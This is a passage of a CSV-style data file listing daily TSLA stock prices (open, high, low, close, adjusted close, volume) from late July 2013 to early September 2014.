-2013-07-29,129.32000732421875,135.3699951171875,128.25,134.6199951171875,134.6199951171875,9678900,TSLA -2013-07-30,134.8000030517578,137.49000549316406,128.17999267578125,131.74000549316406,131.74000549316406,13127000,TSLA -2013-07-31,132.57000732421875,134.97000122070312,131.4499969482422,134.27999877929688,134.27999877929688,6351700,TSLA -2013-08-01,135.0,136.52000427246094,132.6300048828125,135.5500030517578,135.5500030517578,5323600,TSLA -2013-08-02,134.58999633789062,138.25,133.61000061035156,138.0,138.0,6269900,TSLA -2013-08-05,140.00999450683594,144.88999938964844,139.64999389648438,144.67999267578125,144.67999267578125,10200700,TSLA -2013-08-06,144.75,145.72999572753906,141.10000610351562,142.14999389648438,142.14999389648438,9254500,TSLA -2013-08-07,141.88999938964844,141.9499969482422,132.36000061035156,134.22999572753906,134.22999572753906,18212200,TSLA -2013-08-08,154.35000610351562,158.8800048828125,150.4600067138672,153.47999572753906,153.47999572753906,27246800,TSLA -2013-08-09,152.39999389648438,155.9499969482422,151.25,153.0,153.0,8927700,TSLA -2013-08-12,149.42999267578125,150.5,142.0500030517578,147.3800048828125,147.3800048828125,14912200,TSLA -2013-08-13,149.5,149.83999633789062,144.4499969482422,145.42999267578125,145.42999267578125,8748900,TSLA -2013-08-14,142.72000122070312,144.83999633789062,138.0500030517578,139.36000061035156,139.36000061035156,11693800,TSLA -2013-08-15,136.42999267578125,143.60000610351562,135.0,139.6699981689453,139.6699981689453,10179200,TSLA -2013-08-16,141.6300048828125,143.91000366210938,140.97000122070312,142.0,142.0,7108100,TSLA -2013-08-19,143.42999267578125,147.3800048828125,142.8300018310547,144.89999389648438,144.89999389648438,8037700,TSLA -2013-08-20,148.64999389648438,149.77999877929688,147.0,149.5800018310547,149.5800018310547,6418200,TSLA -2013-08-21,150.0,150.30999755859375,146.25,147.86000061035156,147.86000061035156,6266300,TSLA -2013-08-22,149.22000122070312,157.47999572753906,148.13999938964844,157.10000610351562,157.10000610351562,10592400,TSLA -2013-08-23,157.0,162.3000030517578,155.0,161.83999633789062,161.83999633789062,12931900,TSLA -2013-08-26,165.14999389648438,173.0,160.25,164.22000122070312,164.22000122070312,24171100,TSLA -2013-08-27,162.3000030517578,168.8000030517578,160.9499969482422,167.00999450683594,167.00999450683594,17566900,TSLA -2013-08-28,169.05999755859375,171.5,163.25,166.4499969482422,166.4499969482422,14740100,TSLA -2013-08-29,164.22000122070312,167.75,162.50999450683594,166.05999755859375,166.05999755859375,9436000,TSLA -2013-08-30,166.3699951171875,169.2100067138672,163.9600067138672,169.0,169.0,11028400,TSLA -2013-09-03,173.39999389648438,173.6999969482422,166.39999389648438,168.94000244140625,168.94000244140625,12061100,TSLA -2013-09-04,169.77000427246094,171.6199951171875,165.55999755859375,170.6199951171875,170.6199951171875,11475700,TSLA -2013-09-05,170.10000610351562,171.5,168.25,169.92999267578125,169.92999267578125,6685300,TSLA -2013-09-06,168.57000732421875,169.6999969482422,165.14999389648438,166.97000122070312,166.97000122070312,8619700,TSLA -2013-09-09,163.1199951171875,164.5,158.50999450683594,160.6999969482422,160.6999969482422,14344500,TSLA -2013-09-10,161.4499969482422,167.5,160.6300048828125,166.3699951171875,166.3699951171875,8967800,TSLA -2013-09-11,166.41000366210938,167.89999389648438,162.1300048828125,163.52000427246094,163.52000427246094,5832500,TSLA -2013-09-12,164.0,166.75999450683594,160.50999450683594,164.92999267578125,164.92999267578125,6160000,TSLA -2013-09-13,162.77000427246094,166.3699951171875,162.16000366210938,165.5399932861328,165.5399932861328,5401200,TSLA -2013-09-16,168.0,170.85000610351562,165.85000610351562,166.5800018310547,166.5800018310547,7574900,TSLA -2013-09-17,165.0800018310547,168.4199981689453,163.36000061035156,166.22999572753906,166.22999572753906,5496900,TSLA -2013-09-18,167.07000732421875,167.4499969482422,164.1999969482422,166.22000122070312,166.22000122070312,5439700,TSLA -2013-09-19,170.8000030517578,180.47000122070312,169.0800018310547,177.9199981689453,177.9199981689453,15594600,TSLA -2013-09-20,178.89999389648438,185.8300018310547,178.55999755859375,183.38999938964844,183.38999938964844,13401700,TSLA -2013-09-23,184.47999572753906,185.47999572753906,177.11000061035156,181.11000061035156,181.11000061035156,8173400,TSLA -2013-09-24,179.13999938964844,184.9600067138672,177.64999389648438,182.3300018310547,182.3300018310547,6273400,TSLA -2013-09-25,183.55999755859375,186.3000030517578,180.5,185.24000549316406,185.24000549316406,8252700,TSLA -2013-09-26,186.6999969482422,189.67999267578125,185.61000061035156,188.63999938964844,188.63999938964844,6614400,TSLA -2013-09-27,187.52000427246094,191.27999877929688,186.42999267578125,190.89999389648438,190.89999389648438,5916400,TSLA -2013-09-30,189.0,194.5,188.0,193.3699951171875,193.3699951171875,8924700,TSLA -2013-10-01,193.9600067138672,194.22999572753906,188.3699951171875,193.0,193.0,7755900,TSLA -2013-10-02,188.58999633789062,191.8300018310547,175.39999389648438,180.9499969482422,180.9499969482422,20775400,TSLA -2013-10-03,175.0500030517578,179.69000244140625,168.0,173.30999755859375,173.30999755859375,23816500,TSLA -2013-10-04,176.39999389648438,181.17999267578125,172.64999389648438,180.97999572753906,180.97999572753906,14414000,TSLA -2013-10-07,182.4600067138672,186.72999572753906,180.25999450683594,183.07000732421875,183.07000732421875,11485600,TSLA -2013-10-08,184.39999389648438,185.92999267578125,173.2100067138672,174.72999572753906,174.72999572753906,13757200,TSLA -2013-10-09,174.72999572753906,174.99000549316406,161.5,168.77999877929688,168.77999877929688,15316500,TSLA -2013-10-10,173.08999633789062,175.75,169.69000244140625,172.92999267578125,172.92999267578125,8883900,TSLA -2013-10-11,172.75,179.2899932861328,171.1999969482422,178.6999969482422,178.6999969482422,8311100,TSLA -2013-10-14,175.0,182.5,174.14999389648438,179.72000122070312,179.72000122070312,7769600,TSLA -2013-10-15,185.27999877929688,188.7899932861328,183.17999267578125,183.94000244140625,183.94000244140625,10978500,TSLA -2013-10-16,184.89999389648438,187.3000030517578,182.08999633789062,183.55999755859375,183.55999755859375,8205400,TSLA -2013-10-17,183.5399932861328,184.8000030517578,180.99000549316406,182.8000030517578,182.8000030517578,6705000,TSLA -2013-10-18,184.14999389648438,185.9600067138672,182.52000427246094,183.39999389648438,183.39999389648438,5930800,TSLA -2013-10-21,183.27999877929688,183.38999938964844,171.0,172.60000610351562,172.60000610351562,11532100,TSLA -2013-10-22,170.5,177.77999877929688,166.11000061035156,171.5399932861328,171.5399932861328,11386700,TSLA -2013-10-23,168.91000366210938,171.80999755859375,160.14999389648438,164.5,164.5,13320400,TSLA -2013-10-24,165.0,174.5,162.8300018310547,173.14999389648438,173.14999389648438,10825700,TSLA -2013-10-25,174.2100067138672,174.5,166.8000030517578,169.66000366210938,169.66000366210938,7595500,TSLA -2013-10-28,170.17999267578125,170.5,162.1999969482422,162.86000061035156,162.86000061035156,7841700,TSLA -2013-10-29,162.75999450683594,165.4499969482422,153.0,164.47000122070312,164.47000122070312,14111700,TSLA -2013-10-30,164.6300048828125,167.67999267578125,158.1699981689453,159.22000122070312,159.22000122070312,8401800,TSLA -2013-10-31,155.6699981689453,162.44000244140625,153.3000030517578,159.94000244140625,159.94000244140625,9333800,TSLA -2013-11-01,163.0,165.89999389648438,160.41000366210938,162.1699981689453,162.1699981689453,7180600,TSLA -2013-11-04,165.0,175.38999938964844,164.22000122070312,175.1999969482422,175.1999969482422,13120400,TSLA -2013-11-05,180.0,181.42999267578125,171.36000061035156,176.80999755859375,176.80999755859375,22467100,TSLA -2013-11-06,154.80999755859375,160.72999572753906,146.35000610351562,151.16000366210938,151.16000366210938,31071700,TSLA -2013-11-07,144.19000244140625,145.64999389648438,137.6199951171875,139.77000427246094,139.77000427246094,22284700,TSLA -2013-11-08,136.47999572753906,140.60000610351562,132.32000732421875,137.9499969482422,137.9499969482422,22477900,TSLA -2013-11-11,141.0,145.4199981689453,137.10000610351562,144.6999969482422,144.6999969482422,13997600,TSLA -2013-11-12,144.69000244140625,144.6999969482422,136.17999267578125,137.8000030517578,137.8000030517578,14985200,TSLA -2013-11-13,140.83999633789062,142.3699951171875,136.33999633789062,138.6999969482422,138.6999969482422,12658300,TSLA -2013-11-14,138.9199981689453,140.39999389648438,134.11000061035156,137.60000610351562,137.60000610351562,12203700,TSLA -2013-11-15,136.85000610351562,137.9499969482422,134.35000610351562,135.4499969482422,135.4499969482422,9900200,TSLA -2013-11-18,135.27000427246094,135.4499969482422,119.61000061035156,121.58000183105469,121.58000183105469,23138200,TSLA -2013-11-19,119.43000030517578,129.0,119.22000122070312,126.08999633789062,126.08999633789062,19816200,TSLA -2013-11-20,126.08000183105469,127.44999694824219,119.05999755859375,121.11000061035156,121.11000061035156,13849600,TSLA -2013-11-21,122.88999938964844,124.79000091552734,120.25,122.0999984741211,122.0999984741211,11903800,TSLA -2013-11-22,121.58000183105469,122.75,117.93000030517578,121.37999725341797,121.37999725341797,11096700,TSLA -2013-11-25,124.5,125.83999633789062,120.30000305175781,120.83999633789062,120.83999633789062,10267300,TSLA -2013-11-26,119.37999725341797,122.72000122070312,116.0999984741211,120.5,120.5,13885500,TSLA -2013-11-27,121.30999755859375,126.94999694824219,119.5199966430664,126.94000244140625,126.94000244140625,12367600,TSLA -2013-11-29,129.77000427246094,130.58999633789062,126.9800033569336,127.27999877929688,127.27999877929688,9716200,TSLA -2013-12-02,126.3499984741211,128.5500030517578,123.93000030517578,124.16999816894531,124.16999816894531,7751200,TSLA -2013-12-03,132.67999267578125,144.94000244140625,131.58999633789062,144.6999969482422,144.6999969482422,25682400,TSLA -2013-12-04,144.32000732421875,144.42999267578125,137.1300048828125,138.9499969482422,138.9499969482422,13147700,TSLA -2013-12-05,140.14999389648438,143.35000610351562,139.5,140.47999572753906,140.47999572753906,9288400,TSLA -2013-12-06,141.50999450683594,142.49000549316406,136.3000030517578,137.36000061035156,137.36000061035156,7909600,TSLA -2013-12-09,137.0,141.6999969482422,134.2100067138672,141.60000610351562,141.60000610351562,9061500,TSLA -2013-12-10,140.0500030517578,145.8699951171875,139.86000061035156,142.19000244140625,142.19000244140625,10748200,TSLA -2013-12-11,141.8800048828125,143.0500030517578,139.49000549316406,139.64999389648438,139.64999389648438,7137800,TSLA -2013-12-12,139.6999969482422,148.24000549316406,138.52999877929688,147.47000122070312,147.47000122070312,10767800,TSLA -2013-12-13,148.0500030517578,151.8000030517578,147.32000732421875,147.64999389648438,147.64999389648438,10591900,TSLA -2013-12-16,148.47999572753906,150.42999267578125,146.10000610351562,147.94000244140625,147.94000244140625,6675300,TSLA -2013-12-17,147.5800018310547,154.6300048828125,146.32000732421875,152.4600067138672,152.4600067138672,10495000,TSLA -2013-12-18,152.24000549316406,154.89999389648438,145.9499969482422,147.97999572753906,147.97999572753906,11581900,TSLA -2013-12-19,146.89999389648438,147.0,139.10000610351562,140.72000122070312,140.72000122070312,12740000,TSLA -2013-12-20,141.5800018310547,144.35000610351562,141.5800018310547,143.24000549316406,143.24000549316406,7412600,TSLA -2013-12-23,144.85000610351562,146.24000549316406,142.60000610351562,143.5500030517578,143.5500030517578,5385500,TSLA -2013-12-24,150.0,154.97000122070312,149.82000732421875,151.41000366210938,151.41000366210938,9941500,TSLA -2013-12-26,155.0399932861328,158.0,154.2899932861328,155.5,155.5,7129500,TSLA -2013-12-27,155.3000030517578,155.5,150.8000030517578,151.1199951171875,151.1199951171875,5460200,TSLA -2013-12-30,151.1199951171875,154.80999755859375,150.75,152.44000244140625,152.44000244140625,4467500,TSLA -2013-12-31,152.32000732421875,153.1999969482422,148.66000366210938,150.42999267578125,150.42999267578125,4262400,TSLA -2014-01-02,149.8000030517578,152.47999572753906,146.5500030517578,150.10000610351562,150.10000610351562,6188400,TSLA -2014-01-03,150.0,152.19000244140625,148.60000610351562,149.55999755859375,149.55999755859375,4695000,TSLA -2014-01-06,150.0,150.39999389648438,145.24000549316406,147.0,147.0,5361100,TSLA -2014-01-07,147.6199951171875,150.39999389648438,145.25,149.36000061035156,149.36000061035156,5034100,TSLA -2014-01-08,148.85000610351562,153.6999969482422,148.75999450683594,151.27999877929688,151.27999877929688,6163200,TSLA -2014-01-09,152.5,153.42999267578125,146.85000610351562,147.52999877929688,147.52999877929688,5382000,TSLA -2014-01-10,148.4600067138672,148.89999389648438,142.25,145.72000122070312,145.72000122070312,7446100,TSLA -2014-01-13,145.77999877929688,147.0,137.82000732421875,139.33999633789062,139.33999633789062,6316100,TSLA -2014-01-14,140.5,162.0,136.6699981689453,161.27000427246094,161.27000427246094,27607000,TSLA -2014-01-15,168.4499969482422,172.22999572753906,162.10000610351562,164.1300048828125,164.1300048828125,20465600,TSLA -2014-01-16,162.5,172.6999969482422,162.39999389648438,170.97000122070312,170.97000122070312,11959400,TSLA -2014-01-17,170.19000244140625,173.1999969482422,167.9499969482422,170.00999450683594,170.00999450683594,9206200,TSLA -2014-01-21,171.24000549316406,177.2899932861328,170.80999755859375,176.67999267578125,176.67999267578125,9734700,TSLA -2014-01-22,177.80999755859375,180.32000732421875,174.75999450683594,178.55999755859375,178.55999755859375,7022600,TSLA -2014-01-23,177.22999572753906,182.3800048828125,173.4199981689453,181.5,181.5,7867400,TSLA -2014-01-24,177.85000610351562,180.47999572753906,173.52999877929688,174.60000610351562,174.60000610351562,7664300,TSLA -2014-01-27,175.16000366210938,177.9199981689453,164.7100067138672,169.6199951171875,169.6199951171875,8716400,TSLA -2014-01-28,171.5,178.97999572753906,171.0,178.3800048828125,178.3800048828125,6093400,TSLA -2014-01-29,175.3000030517578,179.08999633789062,173.1300048828125,175.22999572753906,175.22999572753906,5935500,TSLA -2014-01-30,178.0,184.77999877929688,177.00999450683594,182.83999633789062,182.83999633789062,8565000,TSLA -2014-01-31,178.85000610351562,186.0,178.50999450683594,181.41000366210938,181.41000366210938,6508800,TSLA -2014-02-03,182.88999938964844,184.8800048828125,175.16000366210938,177.11000061035156,177.11000061035156,6764900,TSLA -2014-02-04,180.6999969482422,181.60000610351562,176.1999969482422,178.72999572753906,178.72999572753906,4686300,TSLA -2014-02-05,178.3000030517578,180.58999633789062,169.36000061035156,174.4199981689453,174.4199981689453,7268000,TSLA -2014-02-06,176.3000030517578,180.11000061035156,176.0,178.3800048828125,178.3800048828125,5841600,TSLA -2014-02-07,181.00999450683594,186.6300048828125,179.60000610351562,186.52999877929688,186.52999877929688,8928500,TSLA -2014-02-10,189.33999633789062,199.3000030517578,189.32000732421875,196.55999755859375,196.55999755859375,12970700,TSLA -2014-02-11,198.97000122070312,202.1999969482422,192.6999969482422,196.6199951171875,196.6199951171875,10709900,TSLA -2014-02-12,195.77999877929688,198.27000427246094,194.32000732421875,195.32000732421875,195.32000732421875,5173700,TSLA -2014-02-13,193.33999633789062,202.72000122070312,193.25,199.6300048828125,199.6300048828125,8029300,TSLA -2014-02-14,198.10000610351562,201.8800048828125,197.0,198.22999572753906,198.22999572753906,6158000,TSLA -2014-02-18,205.24000549316406,206.0,201.36000061035156,203.6999969482422,203.6999969482422,9332800,TSLA -2014-02-19,203.6999969482422,203.6999969482422,193.41000366210938,193.63999938964844,193.63999938964844,16169000,TSLA -2014-02-20,215.00999450683594,215.2100067138672,206.27000427246094,209.97000122070312,209.97000122070312,18002300,TSLA -2014-02-21,211.63999938964844,213.97999572753906,209.19000244140625,209.60000610351562,209.60000610351562,7818800,TSLA -2014-02-24,208.75999450683594,218.36000061035156,208.32000732421875,217.64999389648438,217.64999389648438,8278400,TSLA -2014-02-25,230.0,259.20001220703125,228.4499969482422,248.0,248.0,32681700,TSLA -2014-02-26,258.5799865722656,265.0,247.5,253.0,253.0,24604600,TSLA -2014-02-27,261.25,261.8999938964844,248.3300018310547,252.5399932861328,252.5399932861328,17945800,TSLA -2014-02-28,249.64999389648438,252.67999267578125,242.5500030517578,244.80999755859375,244.80999755859375,14589800,TSLA -2014-03-03,237.25999450683594,251.64999389648438,234.99000549316406,250.55999755859375,250.55999755859375,13089300,TSLA -2014-03-04,258.4800109863281,260.0,252.8300018310547,254.83999633789062,254.83999633789062,8745600,TSLA -2014-03-05,256.7200012207031,256.989990234375,251.8000030517578,252.66000366210938,252.66000366210938,5935700,TSLA -2014-03-06,254.13999938964844,257.5,249.4499969482422,252.94000244140625,252.94000244140625,7361100,TSLA -2014-03-07,252.94000244140625,254.85000610351562,244.41000366210938,246.2100067138672,246.2100067138672,7812300,TSLA -2014-03-10,242.6999969482422,243.0,236.05999755859375,238.83999633789062,238.83999633789062,7728100,TSLA -2014-03-11,236.5,244.60000610351562,232.42999267578125,234.41000366210938,234.41000366210938,8810100,TSLA -2014-03-12,231.5,247.5,231.11000061035156,241.49000549316406,241.49000549316406,9754400,TSLA -2014-03-13,243.7899932861328,244.19000244140625,234.0,237.7899932861328,237.7899932861328,6236300,TSLA -2014-03-14,235.2899932861328,236.94000244140625,228.32000732421875,230.97000122070312,230.97000122070312,8289700,TSLA -2014-03-17,234.9499969482422,237.92999267578125,230.5,233.97999572753906,233.97999572753906,5912600,TSLA -2014-03-18,236.9499969482422,241.5,235.02000427246094,240.0399932861328,240.0399932861328,6242300,TSLA -2014-03-19,241.38999938964844,241.5500030517578,233.50999450683594,235.83999633789062,235.83999633789062,5071300,TSLA -2014-03-20,236.16000366210938,239.25,233.36000061035156,234.91000366210938,234.91000366210938,3817900,TSLA -2014-03-21,236.02000427246094,236.1999969482422,227.5,228.88999938964844,228.88999938964844,8216900,TSLA -2014-03-24,229.75,229.89999389648438,210.27000427246094,220.1699981689453,220.1699981689453,11328800,TSLA -2014-03-25,224.13999938964844,227.0500030517578,217.89999389648438,220.44000244140625,220.44000244140625,7865400,TSLA -2014-03-26,221.9499969482422,222.60000610351562,211.35000610351562,212.9600067138672,212.9600067138672,6907300,TSLA -2014-03-27,212.3699951171875,213.60000610351562,203.0,207.32000732421875,207.32000732421875,9495700,TSLA -2014-03-28,212.8000030517578,216.72000122070312,210.27000427246094,212.3699951171875,212.3699951171875,9684800,TSLA -2014-03-31,216.5,216.75,206.38999938964844,208.4499969482422,208.4499969482422,8380000,TSLA -2014-04-01,209.02000427246094,218.16000366210938,208.5800018310547,216.97000122070312,216.97000122070312,7371400,TSLA -2014-04-02,220.0,230.88999938964844,218.0500030517578,230.2899932861328,230.2899932861328,10782300,TSLA -2014-04-03,230.3000030517578,235.72999572753906,222.0,225.39999389648438,225.39999389648438,10923700,TSLA -2014-04-04,226.00999450683594,228.27000427246094,211.25,212.22999572753906,212.22999572753906,11345600,TSLA -2014-04-07,205.80999755859375,216.1999969482422,203.50999450683594,207.52000427246094,207.52000427246094,9855500,TSLA -2014-04-08,210.0500030517578,216.49000549316406,206.4199981689453,215.4600067138672,215.4600067138672,6889300,TSLA -2014-04-09,216.75999450683594,218.4499969482422,210.88999938964844,216.92999267578125,216.92999267578125,5157900,TSLA -2014-04-10,216.82000732421875,217.5,203.7899932861328,204.19000244140625,204.19000244140625,7211500,TSLA -2014-04-11,200.61000061035156,207.0,198.60000610351562,203.77999877929688,203.77999877929688,9067200,TSLA -2014-04-14,207.60000610351562,208.44000244140625,194.41000366210938,198.08999633789062,198.08999633789062,7703000,TSLA -2014-04-15,199.08999633789062,199.2899932861328,184.32000732421875,193.91000366210938,193.91000366210938,13659300,TSLA -2014-04-16,197.0,199.99000549316406,190.82000732421875,199.11000061035156,199.11000061035156,7202200,TSLA -2014-04-17,199.61000061035156,202.2899932861328,194.0800018310547,198.1199951171875,198.1199951171875,5926800,TSLA -2014-04-21,197.0800018310547,206.1999969482422,194.0,204.3800048828125,204.3800048828125,5258200,TSLA -2014-04-22,206.36000061035156,219.3300018310547,205.00999450683594,218.63999938964844,218.63999938964844,9804700,TSLA -2014-04-23,216.3300018310547,216.74000549316406,207.0,207.99000549316406,207.99000549316406,7295600,TSLA -2014-04-24,210.80999755859375,212.8000030517578,203.1999969482422,207.86000061035156,207.86000061035156,5495200,TSLA -2014-04-25,202.0,206.6999969482422,197.64999389648438,199.85000610351562,199.85000610351562,6996700,TSLA -2014-04-28,200.0,203.7899932861328,190.5,198.50999450683594,198.50999450683594,7042000,TSLA -2014-04-29,198.2100067138672,207.14999389648438,195.52999877929688,206.9199981689453,206.9199981689453,5779100,TSLA -2014-04-30,203.60000610351562,208.16000366210938,201.27999877929688,207.88999938964844,207.88999938964844,4440600,TSLA -2014-05-01,207.0800018310547,214.02000427246094,205.69000244140625,207.72999572753906,207.72999572753906,5439900,TSLA -2014-05-02,208.60000610351562,211.36000061035156,206.52000427246094,210.91000366210938,210.91000366210938,4086800,TSLA -2014-05-05,209.47999572753906,217.69000244140625,208.52000427246094,216.61000061035156,216.61000061035156,5147000,TSLA -2014-05-06,216.60000610351562,218.66000366210938,206.85000610351562,207.27999877929688,207.27999877929688,5636700,TSLA -2014-05-07,209.63999938964844,210.1999969482422,197.25,201.35000610351562,201.35000610351562,10179300,TSLA -2014-05-08,182.0,194.39999389648438,178.0,178.58999633789062,178.58999633789062,20056600,TSLA -2014-05-09,179.86000061035156,183.39999389648438,177.22000122070312,182.25999450683594,182.25999450683594,8495200,TSLA -2014-05-12,183.8699951171875,187.19000244140625,179.8800048828125,184.6699981689453,184.6699981689453,7002300,TSLA -2014-05-13,183.75999450683594,191.33999633789062,183.0,190.16000366210938,190.16000366210938,7097200,TSLA -2014-05-14,188.9499969482422,193.47999572753906,187.10000610351562,190.6199951171875,190.6199951171875,5406700,TSLA -2014-05-15,189.97999572753906,192.66000366210938,185.3000030517578,188.58999633789062,188.58999633789062,6040400,TSLA -2014-05-16,188.9499969482422,192.0399932861328,187.72000122070312,191.55999755859375,191.55999755859375,4487700,TSLA -2014-05-19,190.72000122070312,196.88999938964844,190.0,196.08999633789062,196.08999633789062,4571700,TSLA -2014-05-20,196.94000244140625,199.3300018310547,193.07000732421875,195.3000030517578,195.3000030517578,5546100,TSLA -2014-05-21,196.17999267578125,199.8699951171875,194.7899932861328,199.4499969482422,199.4499969482422,5285400,TSLA -2014-05-22,200.35000610351562,206.8800048828125,199.55999755859375,204.8800048828125,204.8800048828125,6214500,TSLA -2014-05-23,204.52999877929688,207.75999450683594,202.5,207.3000030517578,207.3000030517578,4006800,TSLA -2014-05-27,208.52000427246094,213.8699951171875,207.6999969482422,211.55999755859375,211.55999755859375,5341100,TSLA -2014-05-28,210.02000427246094,212.77000427246094,205.25999450683594,210.24000549316406,210.24000549316406,5495100,TSLA -2014-05-29,210.57000732421875,212.49000549316406,207.72000122070312,210.24000549316406,210.24000549316406,3692500,TSLA -2014-05-30,210.3000030517578,214.8000030517578,207.02000427246094,207.77000427246094,207.77000427246094,5581100,TSLA -2014-06-02,207.3300018310547,209.35000610351562,201.6699981689453,204.6999969482422,204.6999969482422,4668100,TSLA -2014-06-03,203.49000549316406,208.0,202.58999633789062,204.94000244140625,204.94000244140625,3860800,TSLA -2014-06-04,204.35000610351562,206.25999450683594,200.39999389648438,203.99000549316406,203.99000549316406,3427400,TSLA -2014-06-05,204.47000122070312,209.1999969482422,204.0500030517578,206.89999389648438,206.89999389648438,4054600,TSLA -2014-06-06,209.75,210.80999755859375,207.17999267578125,208.1699981689453,208.1699981689453,3073800,TSLA -2014-06-09,207.9499969482422,209.99000549316406,204.1999969482422,205.30999755859375,205.30999755859375,2805700,TSLA -2014-06-10,204.42999267578125,206.97000122070312,201.5500030517578,202.3000030517578,202.3000030517578,3514700,TSLA -2014-06-11,201.5,205.0,199.25,204.47000122070312,204.47000122070312,3977500,TSLA -2014-06-12,205.10000610351562,209.8800048828125,202.7100067138672,203.52000427246094,203.52000427246094,5993700,TSLA -2014-06-13,204.77999877929688,206.7899932861328,201.5800018310547,206.4199981689453,206.4199981689453,3544300,TSLA -2014-06-16,206.75999450683594,225.49000549316406,206.25999450683594,224.61000061035156,224.61000061035156,13246400,TSLA -2014-06-17,224.11000061035156,235.5399932861328,222.85000610351562,231.6699981689453,231.6699981689453,13304900,TSLA -2014-06-18,231.5,231.7100067138672,226.1199951171875,227.1199951171875,227.1199951171875,6940200,TSLA -2014-06-19,228.8800048828125,235.30999755859375,227.0,227.7899932861328,227.7899932861328,8793100,TSLA -2014-06-20,228.52000427246094,231.2899932861328,226.1999969482422,229.58999633789062,229.58999633789062,4903900,TSLA -2014-06-23,229.50999450683594,238.99000549316406,228.22000122070312,237.22000122070312,237.22000122070312,7791100,TSLA -2014-06-24,238.97000122070312,241.8800048828125,231.6300048828125,232.5,232.5,8075900,TSLA -2014-06-25,233.0500030517578,237.5500030517578,230.24000549316406,236.88999938964844,236.88999938964844,5801600,TSLA -2014-06-26,237.1699981689453,240.39999389648438,234.2100067138672,235.60000610351562,235.60000610351562,5121400,TSLA -2014-06-27,234.69000244140625,240.0,234.5,239.05999755859375,239.05999755859375,5635000,TSLA -2014-06-30,239.5500030517578,244.49000549316406,239.0,240.05999755859375,240.05999755859375,4828600,TSLA -2014-07-01,242.4600067138672,243.44000244140625,238.6999969482422,239.72000122070312,239.72000122070312,4336100,TSLA -2014-07-02,240.66000366210938,242.3300018310547,227.07000732421875,229.42999267578125,229.42999267578125,8027400,TSLA -2014-07-03,231.2899932861328,231.89999389648438,224.0,229.25,229.25,5166700,TSLA -2014-07-07,227.5,229.77999877929688,220.39999389648438,222.66000366210938,222.66000366210938,5893700,TSLA -2014-07-08,218.64999389648438,220.9600067138672,214.27000427246094,219.07000732421875,219.07000732421875,7836200,TSLA -2014-07-09,221.27000427246094,224.22000122070312,219.2100067138672,223.05999755859375,223.05999755859375,4115400,TSLA -2014-07-10,217.17999267578125,222.22000122070312,216.0399932861328,219.4600067138672,219.4600067138672,4863900,TSLA -2014-07-11,220.61000061035156,221.60000610351562,217.60000610351562,218.1300048828125,218.1300048828125,3302300,TSLA -2014-07-14,219.99000549316406,228.7899932861328,215.4499969482422,226.6999969482422,226.6999969482422,7203200,TSLA -2014-07-15,226.72999572753906,227.64999389648438,218.10000610351562,219.5800018310547,219.5800018310547,5718500,TSLA -2014-07-16,221.82000732421875,224.8000030517578,216.82000732421875,217.16000366210938,217.16000366210938,4044500,TSLA -2014-07-17,216.16000366210938,220.5500030517578,213.60000610351562,215.39999389648438,215.39999389648438,4649400,TSLA -2014-07-18,215.9499969482422,221.2100067138672,215.92999267578125,220.02000427246094,220.02000427246094,4253700,TSLA -2014-07-21,217.25,223.2100067138672,216.72000122070312,220.5399932861328,220.5399932861328,3822200,TSLA -2014-07-22,222.19000244140625,223.3000030517578,219.11000061035156,219.5800018310547,219.5800018310547,2730000,TSLA -2014-07-23,220.00999450683594,224.75,219.42999267578125,222.49000549316406,222.49000549316406,3083300,TSLA -2014-07-24,223.25,225.10000610351562,220.8000030517578,223.5399932861328,223.5399932861328,3245500,TSLA -2014-07-25,222.72000122070312,226.97000122070312,221.75,223.57000732421875,223.57000732421875,3087100,TSLA -2014-07-28,224.25,232.0,221.39999389648438,224.82000732421875,224.82000732421875,6514300,TSLA -2014-07-29,226.61000061035156,228.3000030517578,224.86000061035156,225.00999450683594,225.00999450683594,3382400,TSLA -2014-07-30,221.9199981689453,229.60000610351562,221.0399932861328,228.9199981689453,228.9199981689453,4927800,TSLA -2014-07-31,229.25999450683594,231.39999389648438,221.5,223.3000030517578,223.3000030517578,7749100,TSLA -2014-08-01,226.08999633789062,237.5,226.0,233.27000427246094,233.27000427246094,11895800,TSLA -2014-08-04,234.3800048828125,240.5,233.27000427246094,238.52000427246094,238.52000427246094,5959700,TSLA -2014-08-05,237.47000122070312,242.99000549316406,235.69000244140625,238.49000549316406,238.49000549316406,5388600,TSLA -2014-08-06,238.89999389648438,251.4199981689453,238.5800018310547,248.92999267578125,248.92999267578125,9249300,TSLA -2014-08-07,250.1199951171875,256.69000244140625,249.1199951171875,252.38999938964844,252.38999938964844,7478900,TSLA -2014-08-08,251.16000366210938,251.75999450683594,246.5,248.1300048828125,248.1300048828125,5090100,TSLA -2014-08-11,255.47999572753906,263.739990234375,255.0,259.32000732421875,259.32000732421875,8101300,TSLA -2014-08-12,258.0799865722656,260.29998779296875,254.5800018310547,259.9599914550781,259.9599914550781,6382300,TSLA -2014-08-13,262.010009765625,265.6400146484375,259.6099853515625,260.30999755859375,260.30999755859375,6932600,TSLA -2014-08-14,262.489990234375,263.0,256.5,261.3800048828125,261.3800048828125,4126600,TSLA -2014-08-15,261.4800109863281,262.0899963378906,258.5,262.010009765625,262.010009765625,3867900,TSLA -2014-08-18,263.25,267.260009765625,259.75,259.94000244140625,259.94000244140625,5849200,TSLA -2014-08-19,258.8699951171875,259.3299865722656,251.6199951171875,256.760009765625,256.760009765625,5334800,TSLA -2014-08-20,254.6699981689453,258.739990234375,253.0,255.7100067138672,255.7100067138672,3027900,TSLA -2014-08-21,256.5199890136719,258.79998779296875,253.25999450683594,254.33999633789062,254.33999633789062,2915600,TSLA -2014-08-22,254.5399932861328,256.95001220703125,252.61000061035156,256.7799987792969,256.7799987792969,2833400,TSLA -2014-08-25,258.19000244140625,263.67999267578125,258.19000244140625,262.54998779296875,262.54998779296875,4318100,TSLA -2014-08-26,264.9800109863281,265.5,261.6600036621094,261.739990234375,261.739990234375,3818000,TSLA -2014-08-27,263.5,264.239990234375,260.2900085449219,263.25,263.25,2985100,TSLA -2014-08-28,261.8900146484375,264.4800109863281,261.6400146484375,263.8599853515625,263.8599853515625,2844900,TSLA -2014-08-29,268.70001220703125,272.0,267.510009765625,269.70001220703125,269.70001220703125,6447100,TSLA -2014-09-02,275.5,284.8900146484375,274.29998779296875,284.1199951171875,284.1199951171875,9852400,TSLA -2014-09-03,287.6700134277344,288.0,280.1000061035156,281.19000244140625,281.19000244140625,6772300,TSLA -2014-09-04,284.010009765625,291.4200134277344,280.3999938964844,286.0400085449219,286.0400085449219,8341700,TSLA -2014-09-05,282.54998779296875,282.8999938964844,272.510009765625,277.3900146484375,277.3900146484375,11169900,TSLA 